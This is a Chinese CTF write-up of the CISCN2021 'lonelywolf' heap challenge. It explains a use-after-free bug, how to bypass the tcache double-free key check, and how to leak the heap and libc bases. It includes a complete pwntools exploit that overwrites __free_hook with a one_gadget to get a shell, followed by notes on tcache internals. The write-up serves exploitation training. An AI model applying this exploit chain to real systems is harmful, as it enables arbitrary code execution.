0%

CISCN2021-lonelywolf

静态分析

一共主要有四个功能

image-20220517164531139

allocate

image-20220517165202261

edit

image-20220517165421632

show

image-20220517165503078

delete

image-20220517165824425

这里对free后的指针没有置零,所以有UAF漏洞可以利用

利用分析

先把功能函数写好,调试一下

image-20220517194259519

image-20220517194230526

可以看到在tcache之前会有维持一个堆块,它会记录tcache的一些信息。圈起来的地方从后往前数,每两位分别代表0x20, 0x30,0x40, 0x50,0x60, 0x70…堆块的数量,图中0x70的位置就是1。然后从0x55e182cbd050处开始记录0x20开始的堆块大小的地址,如图所示,0x70大小堆块的地址就是0x000055e182cbd260

image-20220517200804803

该堆块的key值如下

image-20220517203200966

可以看一下知识点部分的绕过知识,其实我们修改key值直接不进入那个检测循环就可以绕过

image-20220517210209735

image-20220517204504882

泄露基址

查看一下堆块内容,因为double free后其fd指针指向的是自己的地址,所以由此可以泄露堆块基址其中圈起来的地方记录的就是堆块的地址,如果将该地址打印出来我们就知道了该堆块地址,进而知道堆块基址

image-20220517210543689

image-20220517211234211

image-20220517211215407

到这里就泄露了堆块基址,接下来就是泄露libc基址,因为首先程序控制了我们申请堆块的大小,我们需要申请一个释放后能放入unsortedbin的堆块,就需要考虑到tcache有个最前面的控制堆块,大小是0x251。

这时可以修改fd指针让其指向控制堆块(+0x10是因为tcache中fd指向的直接就是数据区),然后再将堆块申请回来,修改该bin上的chunk数量为7,然后再将该堆块free掉,该堆块就会放到unsortedbin中。

image-20220518111043647

image-20220518115605012

image-20220518115857937

free之后

image-20220518120130377

查看一下(在前面一章有提到过有关mainarea的知识)

image-20220518120330284

one_gadget如下

image-20220518121522130

利用

填充的部分意思是,将0x20大小的堆块填充数量为3,将堆块首地址改为free_hook地址,所以当我们申请一个堆块的时候,就会将free_hook分配给我们

image-20220518123027216

image-20220518122542691

在将其地址赋值为one_gadget之前是空的

image-20220518123534208

所以将其赋值为one_gadget后就会进入到该函数,执行one_gadget

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

context.log_level = 'debug'

binary = './lonelywolf'
local = 1
if local:
p = process(binary)
else:
p = remote('')
elf = ELF(binary)
libc = elf.libc

def add(index, size):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(size))


def edit(index, content):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: ')
p.sendline(content)

def show(index):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))

def free(index):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))

gdb.attach(p)

add(0, 0x68)
free(0)
edit(0,'a'*0x10)
free(0)
show(0)

p.recvuntil('Content: ')
heap_base = u64(p.recv(6).ljust(8, b"\x00"))-0x260
success('heap_base->{}'.format(hex(heap_base)))

edit(0, p64(heap_base+0x10))#fd point control chunk

add(0, 0x68)
add(0, 0x68) # control chunk
edit(0, '\x00'*0x23 + '\x07')
free(0)
show(0)
p.recvuntil('Content: ')
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
one_gadget = libc_base+0x10a41c
free_hook = libc_base + libc.sym['__free_hook']
success('libc_base->{}'.format(hex(libc_base)))

edit(0, b'\x03' +b'\x00'*0x3f + p64(free_hook))

add(0, 0x18)

edit(0,p64(one_gadget))

free(0)
p.interactive()

知识点

tcache

  1. tcache机制的主体是tcache_perthread_struct结构体,其中包含单链表tcache_entry
  2. 单链表tcache_entry,也即tcache Bin的默认最大数量是64,在64位程序中申请的最小chunk size为32,之后以16字节依次递增,所以size大小范围是0x20-0x410,也就是说我们必须要malloc size≤0x408的chunk
  3. 每一个单链表tcache Bin中默认允许存放的chunk块最大数量是7
  4. tcache指针指向的是内容位置,管理结构体前几排记录大小,后几排记录不同大小链表的头号chunk地址
  5. 在申请chunk块时,如果tcache Bin中有符合要求的chunk,则直接返回;如果在fastbin中有符合要求的chunk,则先将对应fastbin中其他chunk加入相应的tcache Bin中,直到达到tcache Bin的数量上限,然后返回符合符合要求的chunk;如果在smallbin中有符合要求的chunk,则与fastbin相似,先将双链表中的其他剩余chunk加入到tcache中,再进行返回
  6. 在释放chunk块时,如果chunk size符合tcache Bin要求且相应的tcache Bin没有装满,则直接加入相应的tcache Bin
  7. 与fastbin相似,在tcache Bin中的chunk不会进行合并,因为它们的pre_inuse位会置成1

tcache为了检查doublefree,增加了如下代码段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))////检测被free的chunk bk是否指向tcache
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)////遍历对应tc_idx的tcache查看要free的chunk在链表中是否存在
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif

可以看到,这里会判断tcachekey字段的值。而每一个被释放的tcache,其key都会按照如下代码,被设置为固定的值,从而尽可能避免了double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

**2.27-2.31对double free的检测都很简单,即先检查释放的chunk 的bk不能指向tcache结构体,且不能在对应tcache里存在

1
(e->key!=tcache_struct)&&(e not in tcache->entries[tc_idx] )

绕过:

1.但是我们如果有uaf 可以修改bk,直接不进入这个判断语句就行 if (__glibc_unlikely (e->key == tcache)

如果可以修改fd 直接可以tcache 用poisoning不用什么double free

2.利用off by null、off by one 修改chunk的size 使得进入错的tcache[tc_idx]

tcache 管理是通过chunk的size 计算出对应的tc_idx,进而找到管理对应大小chunk的tcache链表

来源:Tcache attack学习记录